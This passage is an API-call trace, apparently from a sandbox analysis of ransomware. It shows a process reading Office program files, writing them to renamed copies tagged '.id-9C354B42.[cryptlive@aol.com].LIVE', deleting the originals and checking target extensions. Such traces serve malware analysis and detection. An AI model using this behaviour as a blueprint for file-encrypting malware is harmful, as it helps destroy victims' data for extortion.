nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0140.437] WriteFile (in: hFile=0x314, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xec, lpOverlapped=0x0) returned 1 [0140.437] SetEndOfFile (hFile=0x314) returned 1 [0140.440] CloseHandle (hObject=0x314) returned 1 [0140.440] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.440] SetEndOfFile (hFile=0x3b0) returned 1 [0140.446] CloseHandle (hObject=0x3b0) returned 1 [0140.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.447] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gr8galry.gra")) returned 1 [0140.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60 [0140.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60 [0140.447] lstrlenW (lpString=".doc") returned 4 [0140.447] lstrcmpiW (lpString1=".doc", lpString2=".GRA") returned -1 [0140.447] lstrlenW (lpString=".docx") returned 5 [0140.447] lstrcmpiW (lpString1=".docx", lpString2="Y.GRA") returned -1 [0140.447] lstrlenW (lpString=".pdf") returned 4 [0140.447] lstrcmpiW (lpString1=".pdf", lpString2=".GRA") returned 1 [0140.447] lstrlenW (lpString=".xls") returned 4 [0140.447] lstrcmpiW (lpString1=".xls", lpString2=".GRA") returned 1 [0140.447] lstrlenW (lpString=".xlsx") returned 5 [0140.447] lstrcmpiW (lpString1=".xlsx", lpString2="Y.GRA") returned -1 [0140.447] lstrlenW (lpString=".ppt") returned 4 [0140.448] lstrcmpiW (lpString1=".ppt", lpString2=".GRA") returned 1 [0140.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60 [0140.448] lstrlenW (lpString=".zip") returned 4 [0140.448] lstrcmpiW (lpString1=".zip", lpString2=".GRA") returned 1 [0140.448] lstrlenW (lpString=".rar") returned 4 [0140.448] lstrcmpiW (lpString1=".rar", lpString2=".GRA") returned 1 [0140.448] lstrlenW (lpString=".bz2") returned 4 [0140.448] lstrcmpiW (lpString1=".bz2", lpString2=".GRA") returned -1 [0140.448] lstrlenW (lpString=".7z") returned 3 [0140.448] lstrcmpiW (lpString1=".7z", lpString2="GRA") returned -1 [0140.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60 [0140.448] lstrlenW (lpString=".dbf") returned 4 [0140.448] lstrcmpiW (lpString1=".dbf", lpString2=".GRA") returned -1 [0140.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60 [0140.448] lstrlenW (lpString=".1cd") returned 4 [0140.448] lstrcmpiW (lpString1=".1cd", lpString2=".GRA") returned -1 [0140.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60 [0140.448] lstrlenW (lpString=".jpg") returned 4 [0140.448] lstrcmpiW (lpString1=".jpg", lpString2=".GRA") returned 1 [0140.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60 [0140.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60 [0140.448] lstrlenW (lpString=".doc") returned 4 [0140.448] lstrcmpiW (lpString1=".doc", lpString2=".GRA") returned -1 [0140.448] lstrlenW (lpString=".docx") returned 5 [0140.448] lstrcmpiW (lpString1=".docx", lpString2="Y.GRA") returned -1 [0140.448] lstrlenW (lpString=".pdf") returned 4 [0140.448] lstrcmpiW (lpString1=".pdf", lpString2=".GRA") returned 1 [0140.448] lstrlenW (lpString=".xls") returned 4 [0140.448] lstrcmpiW (lpString1=".xls", lpString2=".GRA") returned 1 [0140.448] lstrlenW (lpString=".xlsx") returned 5 [0140.448] lstrcmpiW (lpString1=".xlsx", lpString2="Y.GRA") returned -1 [0140.448] lstrlenW (lpString=".ppt") returned 4 [0140.448] lstrcmpiW (lpString1=".ppt", lpString2=".GRA") returned 1 [0140.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60 [0140.448] lstrlenW (lpString=".zip") returned 4 [0140.449] lstrcmpiW (lpString1=".zip", lpString2=".GRA") returned 1 [0140.449] lstrlenW (lpString=".rar") returned 4 [0140.449] lstrcmpiW (lpString1=".rar", lpString2=".GRA") returned 1 [0140.449] lstrlenW (lpString=".bz2") returned 4 [0140.449] lstrcmpiW (lpString1=".bz2", lpString2=".GRA") returned -1 [0140.449] lstrlenW (lpString=".7z") returned 3 [0140.449] lstrcmpiW (lpString1=".7z", lpString2="GRA") returned -1 [0140.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60 [0140.449] lstrlenW (lpString=".dbf") returned 4 [0140.449] lstrcmpiW (lpString1=".dbf", lpString2=".GRA") returned -1 [0140.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60 [0140.449] lstrlenW (lpString=".1cd") returned 4 [0140.449] lstrcmpiW (lpString1=".1cd", lpString2=".GRA") returned -1 [0140.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60 [0140.449] lstrlenW (lpString=".jpg") returned 4 [0140.449] lstrcmpiW (lpString1=".jpg", lpString2=".GRA") returned 1 [0140.449] lstrcmpiW (lpString1=".HXS", lpString2=".LIVE") returned -1 [0140.449] lstrlenW (lpString="GRAPH.HXS") returned 9 [0140.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0140.450] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=610086) returned 1 [0140.450] CloseHandle (hObject=0x3b0) returned 1 [0140.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph.hxs")) returned 0x20 [0140.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph.hxs.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0140.450] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.450] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph.hxs.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0140.451] GetLastError () returned 0x0 [0140.451] ReadFile (in: hFile=0x3b0, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x94f26, lpOverlapped=0x0) returned 1 [0140.621] WriteFile (in: hFile=0x314, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x94f30, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x94f30, lpOverlapped=0x0) returned 1 [0140.632] ReadFile (in: hFile=0x3b0, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0140.632] WriteFile (in: hFile=0x314, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0140.632] SetEndOfFile (hFile=0x314) returned 1 [0140.633] CloseHandle (hObject=0x314) returned 1 [0140.633] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.633] SetEndOfFile (hFile=0x3b0) returned 1 [0140.755] CloseHandle (hObject=0x3b0) returned 1 [0140.755] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.756] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph.hxs")) returned 1 [0140.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57 [0140.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57 [0140.756] lstrlenW (lpString=".doc") returned 4 [0140.756] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0140.756] lstrlenW (lpString=".docx") returned 5 [0140.756] lstrcmpiW (lpString1=".docx", lpString2="H.HXS") returned -1 [0140.756] lstrlenW (lpString=".pdf") returned 4 [0140.756] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0140.757] lstrlenW (lpString=".xls") returned 4 [0140.757] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0140.757] lstrlenW (lpString=".xlsx") returned 5 [0140.757] lstrcmpiW (lpString1=".xlsx", lpString2="H.HXS") returned -1 [0140.757] lstrlenW (lpString=".ppt") returned 4 [0140.757] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0140.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57 [0140.757] lstrlenW (lpString=".zip") returned 4 [0140.757] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0140.757] lstrlenW (lpString=".rar") returned 4 [0140.757] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0140.757] lstrlenW (lpString=".bz2") returned 4 [0140.757] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0140.757] lstrlenW (lpString=".7z") returned 3 [0140.757] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0140.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57 [0140.757] lstrlenW (lpString=".dbf") returned 4 [0140.757] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0140.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57 [0140.757] lstrlenW (lpString=".1cd") returned 4 [0140.757] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0140.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57 [0140.757] lstrlenW (lpString=".jpg") returned 4 [0140.757] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0140.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57 [0140.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57 [0140.757] lstrlenW (lpString=".doc") returned 4 [0140.757] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0140.757] lstrlenW (lpString=".docx") returned 5 [0140.757] lstrcmpiW (lpString1=".docx", lpString2="H.HXS") returned -1 [0140.757] lstrlenW (lpString=".pdf") returned 4 [0140.757] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0140.757] lstrlenW (lpString=".xls") returned 4 [0140.757] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0140.757] lstrlenW (lpString=".xlsx") returned 5 [0140.757] lstrcmpiW (lpString1=".xlsx", lpString2="H.HXS") returned -1 [0140.758] lstrlenW (lpString=".ppt") returned 4 [0140.758] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0140.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57 [0140.758] lstrlenW (lpString=".zip") returned 4 [0140.758] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0140.758] lstrlenW (lpString=".rar") returned 4 [0140.758] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0140.758] lstrlenW (lpString=".bz2") returned 4 [0140.758] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0140.758] lstrlenW (lpString=".7z") returned 3 [0140.758] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0140.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57 [0140.758] lstrlenW (lpString=".dbf") returned 4 [0140.758] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0140.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57 [0140.758] lstrlenW (lpString=".1cd") returned 4 [0140.758] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0140.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57 [0140.758] lstrlenW (lpString=".jpg") returned 4 [0140.758] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0140.758] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".LIVE") returned -1 [0140.758] lstrlenW (lpString="GRINTL32.DLL.IDX_DLL") returned 20 [0140.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0141.594] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=37760) returned 1 [0141.594] CloseHandle (hObject=0x1e4) returned 1 [0141.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.idx_dll")) returned 0x20 [0141.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.idx_dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0141.595] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.595] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.idx_dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0142.153] GetLastError () returned 0x0 [0142.153] ReadFile (in: hFile=0x1e4, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x9380, lpOverlapped=0x0) returned 1 [0142.155] WriteFile (in: hFile=0x1f8, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x9390, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x9390, lpOverlapped=0x0) returned 1 [0142.156] ReadFile (in: hFile=0x1e4, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.157] WriteFile (in: hFile=0x1f8, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xfc, lpOverlapped=0x0) returned 1 [0142.157] SetEndOfFile (hFile=0x1f8) returned 1 [0142.157] CloseHandle (hObject=0x1f8) returned 1 [0142.157] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.157] SetEndOfFile (hFile=0x1e4) returned 1 [0142.162] CloseHandle (hObject=0x1e4) returned 1 [0142.162] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0142.215] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.idx_dll")) returned 1 [0142.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68 [0142.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68 [0142.215] lstrlenW (lpString=".doc") returned 4 [0142.215] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0142.215] lstrlenW (lpString=".docx") returned 5 [0142.215] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0142.215] lstrlenW (lpString=".pdf") returned 4 [0142.215] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0142.216] lstrlenW (lpString=".xls") returned 4 [0142.216] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0142.216] lstrlenW (lpString=".xlsx") returned 5 [0142.216] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0142.216] lstrlenW (lpString=".ppt") returned 4 [0142.216] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0142.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68 [0142.216] lstrlenW (lpString=".zip") returned 4 [0142.216] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0142.216] lstrlenW (lpString=".rar") returned 4 [0142.216] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0142.216] lstrlenW (lpString=".bz2") returned 4 [0142.216] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0142.216] lstrlenW (lpString=".7z") returned 3 [0142.216] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0142.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68 [0142.216] lstrlenW (lpString=".dbf") returned 4 [0142.216] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0142.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68 [0142.216] lstrlenW (lpString=".1cd") returned 4 [0142.216] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0142.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68 [0142.216] lstrlenW (lpString=".jpg") returned 4 [0142.216] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0142.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68 [0142.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68 [0142.216] lstrlenW (lpString=".doc") returned 4 [0142.216] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0142.216] lstrlenW (lpString=".docx") returned 5 [0142.216] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0142.216] lstrlenW (lpString=".pdf") returned 4 [0142.216] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0142.216] lstrlenW (lpString=".xls") returned 4 [0142.216] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0142.216] lstrlenW (lpString=".xlsx") returned 5 [0142.216] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0142.217] lstrlenW (lpString=".ppt") returned 4 [0142.217] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0142.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68 [0142.217] lstrlenW (lpString=".zip") returned 4 [0142.217] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0142.217] lstrlenW (lpString=".rar") returned 4 [0142.217] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0142.217] lstrlenW (lpString=".bz2") returned 4 [0142.217] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0142.217] lstrlenW (lpString=".7z") returned 3 [0142.217] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0142.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68 [0142.217] lstrlenW (lpString=".dbf") returned 4 [0142.217] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0142.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68 [0142.217] lstrlenW (lpString=".1cd") returned 4 [0142.217] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0142.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68 [0142.217] lstrlenW (lpString=".jpg") returned 4 [0142.217] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0142.217] lstrcmpiW (lpString1=".HXS", lpString2=".LIVE") returned -1 [0142.217] lstrlenW (lpString="INFOPATHEDITOR.HXS") returned 18 [0142.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0142.218] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=432098) returned 1 [0142.218] CloseHandle (hObject=0x1f8) returned 1 [0142.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor.hxs")) returned 0x20 [0142.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor.hxs.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0142.218] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.218] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor.hxs.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0142.219] GetLastError () returned 0x0 [0142.219] ReadFile (in: hFile=0x1f8, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x697e2, lpOverlapped=0x0) returned 1 [0142.263] WriteFile (in: hFile=0x1dc, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x697f0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x697f0, lpOverlapped=0x0) returned 1 [0142.271] ReadFile (in: hFile=0x1f8, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.271] WriteFile (in: hFile=0x1dc, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xf8, lpOverlapped=0x0) returned 1 [0142.271] SetEndOfFile (hFile=0x1dc) returned 1 [0142.271] CloseHandle (hObject=0x1dc) returned 1 [0142.271] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.271] SetEndOfFile (hFile=0x1f8) returned 1 [0142.623] CloseHandle (hObject=0x1f8) returned 1 [0142.624] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS.id-9C354B42.[cryptlive@aol.com].LIVE", 